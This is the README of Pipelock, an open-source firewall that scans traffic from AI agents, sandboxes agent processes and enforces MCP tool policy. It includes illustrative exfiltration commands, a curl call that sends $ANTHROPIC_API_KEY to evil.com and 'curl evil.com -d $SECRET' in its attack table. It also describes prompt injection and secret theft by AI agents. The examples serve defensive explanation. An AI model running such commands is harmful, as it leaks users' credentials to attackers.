Documents
README
README
Type
External
Status
Published
Created
Mar 25, 2026
Updated
Apr 6, 2026
Updated by
Dosu Bot

Pipelock

Pipelock#

CI
Security
Go Report Card
GitHub Release
OpenSSF Scorecard
OpenSSF Best Practices
codecov
CodeRabbit Reviews
License License

Open-source agent firewall. Network scanning, process containment, and tool policy enforcement in a single binary.

Works with: Claude Code · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph

Quick Start · What It Does · Docs · Blog · Ask Dosu

The Problem#

Your AI agent has $ANTHROPIC_API_KEY in its environment, plus shell access. One request is all it takes:

curl "https://evil.com/steal?key=$ANTHROPIC_API_KEY" # game over, unless pipelock is watching

Every machine action your agent takes (HTTP requests, tool calls, browser sessions) crosses a boundary between your secrets and the open internet. Pipelock sits at that boundary. It scans every outbound and inbound request, blocks exfiltration and injection, sandboxes the agent process, and generates signed evidence of what happened.

Pipelock demo

Quick Start#

# Install
brew install luckyPipewrench/tap/pipelock

# Set up (discovers IDE configs, generates config, verifies detection)
pipelock init

# Test it
pipelock check --url "https://example.com/?key=EXAMPLE-SECRET-VALUE-1234" # blocked
pipelock check --url "https://docs.python.org/3/" # allowed
Other install methods
# Download a binary (no dependencies)
# See https://github.com/luckyPipewrench/pipelock/releases

# Docker
docker pull ghcr.io/luckypipewrench/pipelock:latest

# From source (requires Go 1.25+)
go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latest
Verify release integrity (SLSA provenance + SBOM)
gh attestation verify pipelock_*_linux_amd64.tar.gz --owner luckyPipewrench
gh attestation verify oci://ghcr.io/luckypipewrench/pipelock:<version> --owner luckyPipewrench

What It Does#

Pipelock is an agent firewall: it sits inline between your AI agent and the internet, scanning outbound and inbound traffic.

11-Layer URL Scanner#

Every request passes through: scheme validation, CRLF injection detection, path traversal blocking, domain blocklist, DLP pattern matching (48 built-in patterns for API keys, tokens, credentials, cryptocurrency keys, environment variable secrets, and financial identifiers with checksum validation), path entropy analysis, subdomain entropy analysis, SSRF protection with DNS rebinding prevention, per-domain rate limiting, URL length limits, and per-domain data budgets.

DLP runs before DNS resolution, designed to catch secrets before any DNS query leaves the proxy. BIP-39 seed phrase detection uses a dedicated scanner with dictionary lookup, sliding window matching, and SHA-256 checksum validation to catch cryptocurrency mnemonic exfiltration across all transport surfaces.

See docs/bypass-resistance.md for the full evasion test matrix.

Process Sandbox#

Unprivileged process containment using OS-native kernel primitives. On Linux: Landlock LSM restricts filesystem access, seccomp filters dangerous syscalls, and network namespaces force all traffic through pipelock's scanner (no direct egress). On macOS: sandbox-exec profiles restrict filesystem and network. In containers, use --best-effort for Landlock + seccomp containment when namespace creation is restricted (network scanning uses proxy-based routing instead of kernel enforcement).

pipelock sandbox --config pipelock.yaml -- python agent.py
pipelock sandbox --best-effort -- python agent.py # containers
pipelock mcp proxy --sandbox --config pipelock.yaml -- npx server

Response Scanning#

Fetched content is scanned for prompt injection and state/control poisoning before reaching the agent. A 6-pass normalization pipeline catches zero-width character evasion, homoglyph substitution, leetspeak encoding, and base64-wrapped payloads. 25 built-in patterns cover jailbreak phrases, instruction manipulation, credential solicitation, memory persistence, preference poisoning, covert action directives, model instruction boundaries, and CJK-language instruction overrides. Actions: block, strip, warn, or ask (human-in-the-loop terminal approval).

MCP Proxy#

Wraps any MCP server with bidirectional scanning. Three transport modes: stdio subprocess wrapping, Streamable HTTP bridging, and HTTP reverse proxy. Scans both directions: client requests checked for DLP leaks, server responses scanned for injection, and tools/list responses checked for poisoned descriptions and mid-session rug-pull changes.

# Wrap a local MCP server (stdio)
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp

# Proxy a remote MCP server (HTTP)
pipelock mcp proxy --upstream http://localhost:8080/mcp

# Combined mode (fetch/forward proxy + MCP on separate ports)
pipelock run --config pipelock.yaml --mcp-listen 0.0.0.0:8889 --mcp-upstream http://localhost:3000/mcp

MCP Tool Policy#

Pre-execution rules that block dangerous tool calls before they reach MCP servers. Ships with 17 built-in rules covering destructive operations, credential access, reverse shells, persistence mechanisms, and encoded command execution. Shell obfuscation detection is built-in. v2.0 adds a redirect action that routes dangerous operations through audited wrappers instead of blocking outright.

Tool Call Chain Detection#

Detects attack patterns in sequences of MCP tool calls. Ships with 10 built-in patterns covering reconnaissance, credential theft, data staging, persistence, and exfiltration chains. Uses subsequence matching with configurable gap tolerance, so inserting innocent calls between attack steps doesn't evade detection.

Kill Switch#

Emergency deny-all with four independent activation sources: config file, SIGUSR1, sentinel file, and remote API. Any one active blocks all traffic. The API can run on a separate port so agents can't deactivate their own kill switch.

# Activate from operator machine
curl -X POST http://localhost:9090/api/v1/killswitch \
  -H "Authorization: Bearer TOKEN" -d '{"active": true}'

Scan API#

Evaluation endpoint for programmatic scanning. Any tool, pipeline, or control plane can submit URLs, text, or tool calls and get a structured verdict back (the proxy doesn't need to be in the request path). Four scan kinds: url, dlp, prompt_injection, and tool_call. Returns findings with scanner type, rule ID, and severity. Bearer token auth, per-token rate limiting, and Prometheus metrics.

See docs/scan-api.md for the full API reference.

Address Protection#

Detects blockchain address poisoning attacks where a lookalike address is substituted for a legitimate one. Validates addresses for ETH, BTC, SOL, and BNB chains, compares against a user-supplied allowlist, and flags similar addresses using prefix/suffix fingerprinting. Designed for agents that interact with DeFi protocols or execute transactions.

Filesystem Sentinel#

Monitors agent working directories for secrets written to disk. When an MCP subprocess writes a file containing credentials, pipelock detects it using the same DLP patterns applied to network traffic. On Linux, process lineage tracking attributes file writes to the agent's process tree. See docs/guides/filesystem-sentinel.md.

Event Emission#

Forward audit events to external systems (SIEM, webhook receivers, syslog). Events are fire-and-forget and never block the proxy. Each event includes a MITRE ATT&CK technique ID where applicable (T1048 for exfiltration, T1059 for injection, T1195.002 for supply chain).

See docs/guides/siem-integration.md for log schema, forwarding patterns, and example SIEM queries.

Security Assessment#

pipelock assess runs a four-stage security assessment against your deployment: attack simulation (20 scenarios across DLP, injection, tool poisoning, and URL evasion), config audit (12 categories scored 0-100), deployment verification (live probe of scanning and containment), and MCP server discovery (protection status across Claude Code, Cursor, VS Code, and other clients).

Critical exposures like unprotected MCP servers cap the grade regardless of numeric score.

pipelock assess init --config pipelock.yaml
pipelock assess run assessment-a1b2c3d4/
pipelock assess finalize assessment-a1b2c3d4/

The free summary shows your grade, section scores, and top findings. Licensed users get the full report with server-specific findings, remediation commands, and Ed25519-signed evidence.

Pipelock Security Summary showing grade C (79/100) with compliance coverage, MCP protection, and detection scoring

Flight Recorder#

Hash-chained JSONL evidence log with Ed25519-signed checkpoints and DLP redaction. Every proxy decision is recorded as a tamper-evident entry linked to the previous one. Action receipts provide cryptographically signed proof of each mediated action (what happened, what the verdict was, which policy was active). Verify any receipt independently with pipelock verify-receipt.

Canary Tokens#

Synthetic secrets injected into the agent's environment. If pipelock detects a canary in outbound traffic, it proves the agent (or something in its chain) is exfiltrating environment variables. Ships with pipelock canary to generate config snippets.

More Features#

FeatureWhat It Does
Audit Reportspipelock report --input events.jsonl generates HTML/JSON reports with risk rating, timeline, and evidence appendix. Ed25519 signing with --sign. (Sample report)
Diagnosepipelock diagnose runs 7 local checks to verify your config works end-to-end (no network required)
TLS InterceptionOptional CONNECT tunnel MITM: decrypt, scan bodies/headers/responses, re-encrypt. pipelock tls init generates a CA, then pipelock tls install-ca trusts it system-wide.
Block HintsOpt-in explain_blocks: true adds fix suggestions to blocked responses
Project Auditpipelock audit ./project scans for security risks and generates a tailored config
Config Scoring (v2.0)pipelock audit score --config pipelock.yaml evaluates security posture across 12 categories (0-100 with letter grade). Flags overpermissive tool policies.
File IntegritySHA256 manifests detect modified, added, or removed workspace files
Git Protectiongit diff | pipelock git scan-diff catches secrets before they're committed
Ed25519 SigningKey management, file signing, and signature verification for multi-agent trust
Session ProfilingPer-session behavioral analysis (domain bursts, volume spikes)
Adaptive EnforcementPer-session threat score with automatic escalation from warn to block, de-escalation timers, and domain burst detection
Finding SuppressionSilence known false positives via config rules or inline pipelock:ignore comments
Multi-Agent SupportAgent identification via X-Pipelock-Agent header for per-agent filtering
Fleet MonitoringPrometheus metrics + ready-to-import Grafana dashboard
A2A ScanningAgent Card poisoning detection, card drift monitoring, session smuggling prevention for Google's Agent-to-Agent protocol
Behavioral BaselineProfile-then-lock for MCP tool behavior. Learns normal patterns during a window, flags deviations after ratification.
Denial-of-WalletPer-agent budgets for retries, fan-out, and concurrent tool calls. Catches loop storms and amplification attacks.
Compliance MappingsOWASP MCP Top 10, OWASP Agentic Top 15, NIST 800-53, EU AI Act, SOC 2 coverage documentation

Pipelock Agent Egress Report showing risk rating, timeline, findings by category, and evidence appendix

Pipelock Fleet Monitor: Grafana dashboard showing traffic, security events, and WebSocket metrics

How It Works#

Pipelock uses capability separation: the agent process has secrets but no direct network access. Pipelock has network access but no agent secrets. Even if the agent gets prompt-injected, it can't reach the firewall's controls.

Three HTTP proxy modes (same port), plus dedicated MCP and A2A proxies:

  • Fetch proxy (/fetch?url=...): Fetches the URL, extracts text, scans for injection, returns clean content.
  • Forward proxy (HTTPS_PROXY): Standard HTTP CONNECT tunneling. Zero code changes. Optional TLS interception for full payload scanning.
  • WebSocket proxy (/ws?url=ws://...): Bidirectional frame scanning with DLP + injection detection.
  • MCP proxy (pipelock mcp proxy): Wraps stdio or HTTP MCP servers with bidirectional scanning.
  • A2A proxy: Inspects Google Agent-to-Agent protocol traffic.
Text diagram (for terminals)
┌──────────────────────┐ ┌───────────────────────┐
│ PRIVILEGED ZONE │ │ FIREWALL ZONE │
│ │ │ │
│ AI Agent │ IPC │ Pipelock │
│ - Has API keys │────────>│ - No agent secrets │
│ - Has credentials │ fetch / │ - Full internet │
│ - Restricted network│ CONNECT │ - Returns text │
│ │ /ws/MCP │ - WS frame scanning │
│ │<────────│ - URL scanning │
│ │ content │ - Audit logging │
│ │ │ │
└──────────────────────┘ └───────────────────────┘

Security Matrix#

Pipelock runs in three modes:

ModeSecurityWeb BrowsingUse Case
strictAllowlist-onlyNoneRegulated industries, high-security
balancedBlocks naive + detects sophisticatedVia fetch or forward proxyMost developers (default)
auditLogging onlyUnrestrictedEvaluation before enforcement

For agents running uncensored or abliterated models (e.g. OBLITERATUS), the hostile-model preset layers additional defenses on top of strict mode: aggressive entropy thresholds (3.0), blanket network tool blocking, session binding, cross-request exfiltration detection, and a pre-configured kill switch. pipelock audit recommends this preset when it detects known guardrail-removal toolchains (currently dependency-based detection).

What each mode prevents, detects, or logs:

Attack VectorStrictBalancedAudit
curl evil.com -d $SECRETPreventedPreventedLogged
Secret in URL query paramsPreventedDetected (DLP scan)Logged
Base64-encoded secret in URLPreventedDetected (entropy scan)Logged
DNS tunnelingPreventedDetected (subdomain entropy)Logged
Chunked exfiltrationPreventedDetected (rate + data budget)Logged
Public-key encrypted blob in URLPreventedLogged (entropy flags it)Logged

Honest assessment: Strict mode blocks all outbound HTTP except allowlisted API domains, so there's no exfiltration channel through the proxy. Balanced mode raises the bar from "one curl command" to "sophisticated pre-planned attack." Audit mode gives you visibility you don't have today. With the sandbox enabled (pipelock sandbox), pipelock adds OS-level containment (Landlock + network namespaces + seccomp) on top of content inspection. The agent can't bypass the proxy because it has no direct network access.

Configuration#

Generate a config from one of three CLI presets, or let pipelock audit tailor one to your project:

pipelock generate config --preset balanced > pipelock.yaml
pipelock audit ./my-project -o pipelock.yaml
CLI PresetModeActionBest For
balancedbalancedwarnGeneral purpose (default)
strictstrictblockHigh-security, regulated industries
auditauditwarnLog-only evaluation

Four additional preset files ship in configs/ for specific workflows:

FileModeBest For
configs/claude-code.yamlbalancedClaude Code unattended
configs/cursor.yamlbalancedCursor IDE
configs/generic-agent.yamlbalancedNew agents (tuning phase)
configs/hostile-model.yamlstrictUncensored/abliterated models

Config changes are picked up automatically via file watcher or SIGHUP. Full reference: docs/configuration.md

For false positive tuning: docs/false-positive-tuning.md

Integration Guides#

Deployment#

# Docker
docker pull ghcr.io/luckypipewrench/pipelock:latest
docker run -p 8888:8888 -v ./pipelock.yaml:/config/pipelock.yaml:ro \
  ghcr.io/luckypipewrench/pipelock:latest \
  run --config /config/pipelock.yaml --listen 0.0.0.0:8888

# Network-isolated agent (Docker Compose)
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose up

# Kubernetes (Helm)
helm install pipelock charts/pipelock/

Production recipes (Docker Compose with network isolation, Kubernetes sidecar + NetworkPolicy, iptables/nftables, macOS PF): docs/guides/deployment-recipes.md

CI Integration#

# .github/workflows/pipelock.yaml
- uses: luckyPipewrench/pipelock@v2
  with:
    scan-diff: 'true'
    fail-on-findings: 'true'

Downloads a pre-built binary, runs pipelock audit, scans the PR diff for leaked secrets, and uploads the audit report as a workflow artifact. See examples/ci-workflow.yaml for a complete workflow.

Community Rules#

Signed rule bundles add detection patterns beyond the 48 built-in defaults. 28 community rules across DLP, injection, and tool-poison categories:

pipelock rules install pipelock-community

See docs/rules.md for details.

Comparison#

PipelockScanners (agent-scan)Sandboxes (srt)Kernel agents (agentsh)
Secret exfiltration preventionYesPartial (proxy mode)Partial (domain-level)Yes
DLP + entropy analysisYesNoNoPartial
Prompt injection detectionYesYesNoNo
MCP scanning (bidirectional + tool poisoning)YesYesNoNo
WebSocket proxy (frame scanning)YesNoNoNo
MCP HTTP transport (Streamable HTTP)YesNoNoNo
Emergency kill switch (4 sources)YesNoNoNo
Tool call chain detectionYesNoNoNo
Process sandbox (no Docker)YesNoNoYes (kernel-level)
Single binary, zero depsYesNo (Python)No (npm)No (kernel)

Full comparison: docs/comparison.md

Side-by-side breakdowns: pipelab.org/compare

OWASP Agentic Top 10 Coverage
ThreatCoverage
ASI01 Agent Goal HijackStrong: bidirectional MCP + response scanning
ASI02 Tool MisusePartial: proxy as controlled tool, MCP scanning
ASI03 Identity & Privilege AbuseStrong: capability separation + SSRF protection
ASI04 Supply Chain VulnerabilitiesPartial: integrity monitoring + MCP scanning
ASI05 Unexpected Code ExecutionModerate: HITL approval, fail-closed defaults
ASI06 Memory & Context PoisoningModerate: injection detection on fetched content
ASI07 Insecure Inter-Agent CommunicationPartial: agent ID, integrity, signing
ASI08 Cascading FailuresModerate: fail-closed architecture, rate limiting
ASI09 Human-Agent Trust ExploitationPartial: HITL modes, audit logging
ASI10 Rogue AgentsStrong: domain allowlist + rate limiting + capability separation

Details, config examples, and gap analysis: docs/owasp-mapping.md

Docs#

DocumentWhat's In It
Configuration ReferenceAll config fields, defaults, hot-reload behavior, presets
False Positive TuningIdentifying, suppressing, and tuning scanner findings
Scan APIEvaluation endpoint for programmatic scanning
Deployment RecipesDocker Compose, K8s sidecar, iptables, macOS PF
Bypass ResistanceKnown evasion techniques, mitigations, limitations
Known Attacks BlockedReal attacks with repro snippets
SIEM IntegrationLog schema, forwarding patterns, SIEM queries
Metrics ReferenceAll 45 Prometheus metrics, alert rules
Community RulesInstall, configure, and create signed rule bundles
Security AssuranceSecurity model, trust boundaries, supply chain
Finding SuppressionRule names, path matching, inline comments
Transport ModesAll proxy modes and their scanning capabilities
OWASP MCP Top 10OWASP MCP Top 10 coverage
OWASP Agentic Top 15OWASP Agentic AI Top 15 coverage
EU AI ActEU AI Act compliance mapping
NIST 800-53NIST SP 800-53 Rev. 5 controls mapping
Policy Spec v0.1Portable agent firewall policy format

Project Structure#

cmd/pipelock/ CLI entry point
internal/
  cli/ 20+ Cobra commands (run, check, init, generate, mcp, ...)
  config/ YAML config, validation, defaults, hot-reload (fsnotify)
  scanner/ 11-layer URL scanning pipeline + response injection detection
  audit/ Structured JSON logging (zerolog) + event emission dispatch
  proxy/ HTTP proxy: fetch, forward (CONNECT), WebSocket, DNS pinning, TLS
  mcp/ MCP proxy + bidirectional scanning + tool poisoning + chains
  discover/ IDE/agent config discovery (Claude Code, Cursor, VS Code, JetBrains)
  killswitch/ Emergency deny-all (4 sources) + port-isolated API
  receipt/ Action receipt signing + hash-chained evidence
  sandbox/ Landlock, seccomp, netns, macOS sandbox-exec
  shield/ Airlock, browser shield, posture capsule
  signing/ Ed25519 key management
  integrity/ SHA256 file integrity monitoring
  report/ HTML/JSON audit report generation
enterprise/ Multi-agent features (ELv2)
charts/ Helm chart for Kubernetes deployment
configs/ 7 preset config files
docs/ Guides, references, compliance mappings

Testing#

Pipelock is tested like a security product. The open-source core has thousands of unit, integration, and end-to-end tests. A separate private adversarial suite exercises real-world attack classes against the production binary. Every bypass graduates into a regression test before release.

MetricValue
Go tests (with -race)10,800+
Statement coverage88%+
Evasion techniques tested230+
Scanner pipeline overhead~43us per URL scan
CI matrixGo 1.25 + 1.26, CodeQL, golangci-lint
Supply chainSLSA provenance, CycloneDX SBOM, cosign signatures

Run make test to verify locally. Independent benchmark: agent-egress-bench (143 attack cases across 16 categories). Live results.

Credits#

Contributions welcome. See CONTRIBUTING.md for guidelines.

If Pipelock is useful, please star this repository. It helps others find the project.

License#

Pipelock core is licensed under the Apache License 2.0. Copyright 2026 Joshua Waldrep.

Multi-agent features (per-agent identity, budgets, and configuration isolation)
are in the enterprise/ directory, gated by the enterprise build tag and licensed
under the Elastic License 2.0 (ELv2). These features activate with a valid license key.

The open-source core works independently without paid features. All scanning, detection,
and single-agent protection is free.

Pre-built release artifacts (Homebrew, GitHub releases, Docker images) include paid-tier
code that activates with a valid license key. Building from source with go install or the
repository Dockerfile produces a Community-only binary.

See LICENSE for the Apache 2.0 text and enterprise/LICENSE for the ELv2 text.